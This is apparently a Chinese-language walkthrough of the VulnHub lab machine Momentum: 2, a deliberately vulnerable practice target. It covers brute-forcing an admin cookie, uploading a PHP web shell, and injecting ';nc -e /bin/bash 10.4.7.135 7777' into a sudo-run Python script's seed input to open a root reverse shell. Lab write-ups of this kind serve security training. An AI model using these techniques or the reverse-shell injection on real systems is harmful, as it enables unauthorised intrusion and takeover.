介绍
-
VulnHub地址:Momentum: 2 ~ VulnHub
-
发布日期: 28 Jun 2021
-
难度:中等
-
描述:
关键词 : curl, bash, code review
-
靶场环境:
机器 | ip |
---|---|
kali | 10.4.7.135 |
靶机 | 10.4.7.143 |
信息收集
主机发现
端口扫描
网站探测
无可用信息。
目录扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,bak -u http://10.4.7.143
Web 渗透
在 /dashboard.htm
l 页面发现可以上传文件,但是只能上传 txt 文件。
在 /owls
目录可以查看上传路径。
在 /ajax.php.bak
文件中有提示。(扫描不出来,不知道为什么)
当 cookie
存在时,键名为 admin
,值为 &G6u@B6uDXMq&Ms
,再值的末尾还需要加一个大写字母。
使用 post 方式提交一个参数 secure
,值为 val1d
,就可以上传 pdf,php,txt 文件。
成功则返回1。
curl http://10.4.7.143/ajax.php.bak
使用 python 生成一个大写字母的密码字典。
import string
# 定义密码字典的字符集合
characters = string.ascii_uppercase
# 打开文件,如果文件不存在则创建新文件
file = open('example.txt', 'w')
# 写入内容到文件
for char in characters:
file.write(char + '\n')
# 关闭文件
file.close()
上传一句话木马文件。
使用 brupsuit 抓包,添加 cookie
值,添加 post
请求值。
Cookie: admin=&G6u@B6uDXMq&Ms
------WebKitFormBoundaryQ5S514IUaRkmU4al
Content-Disposition: form-data; name="secure";
val1d
发送到 Intruder
模块对 cookie
值最后一位进行爆破。
最后一位为 R
时,成功上传文件。
上传成功,运行文件使用蚁剑连接。
在 home 目录下发现一个用户和密码,以及第一个 flag,还有一段管理员的消息。
password : myvulnerableapp[Asterisk]
FLAG : 4WpJT9qXoQwFGeoRoFBEJZiM2j2Ad33gWipzZkStMLHw
Hey, Athena use the cookie-gen.py
to generate secure cookies for our application
also remove the ajax.php.bak before it’s too late.
- administrator
SSH 连接
密码里面有个 [Asterisk]
,查询后发现是一个*
号。
athena : myvulnerableapp*
连接 ssh 后,sudo -l
查看命令,看到可以无 root 密码执行 cookie-gen.py
脚本
查看这个文件,添加 seed 参数,可以堆叠注入。
这段代码使用了 Python 的
random
、os
和subprocess
模块来生成随机的 Cookie,并将生成的 Cookie 和种子保存到日志文件中。下面是对代码的逐行解释:
import random
:导入random
模块,用于生成随机数。import os
:导入os
模块,用于与操作系统进行交互,例如创建文件和执行命令。import subprocess
:导入subprocess
模块,用于执行系统命令。print('~ Random Cookie Generation ~')
:打印提示信息,表示开始生成随机 Cookie。print('[!] for security reasons we keep logs about cookie seeds.')
:打印提示信息,说明出于安全原因,种子(seed)会被记录在日志中。chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
:定义了一个包含特定字符的字符串,用于生成 Cookie。seed = input("Enter the seed : ")
:提示用户输入种子(seed)。random.seed = seed
:设置随机数生成器的种子为用户输入的种子。cookie = ''
:初始化一个空字符串,用于存储生成的 Cookie。for c in range(20):
:循环 20 次,生成 20 个字符的 Cookie。cookie += random.choice(chars)
:在每次循环中,从chars
字符串中随机选择一个字符,并将其添加到cookie
字符串中。print(cookie)
:打印生成的 Cookie。cmd = "echo %s >> log.txt" % seed
:构建一个命令字符串,将种子追加写入到log.txt
日志文件中。subprocess.Popen(cmd, shell=True)
:执行命令字符串,将种子追加写入到日志文件中。代码的主要逻辑是通过循环和随机选择,生成一个长度为 20 的随机 Cookie,并将生成的 Cookie 打印出来。然后,使用
subprocess
模块执行命令,将种子追加写入到名为log.txt
的日志文件中。
尝试执行,执行后在 log.txt 文件中记录了 seed 参数。
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
堆叠注入
;nc -e /bin/bash 10.4.7.135 7777
nc 反弹回 kali,得到 root 下的 flag。
总结
本次包含:
- 文件上传
- 代码审计
- bp 改包
- 堆叠注入
参考文章
Vulnhub——MOMENTUM-2_韓憨憨的博客-CSDN博客
gobuster 一款基于go开发的目录文件、dns和vhost爆破工具_gobuster安装_whatday的博客-CSDN博客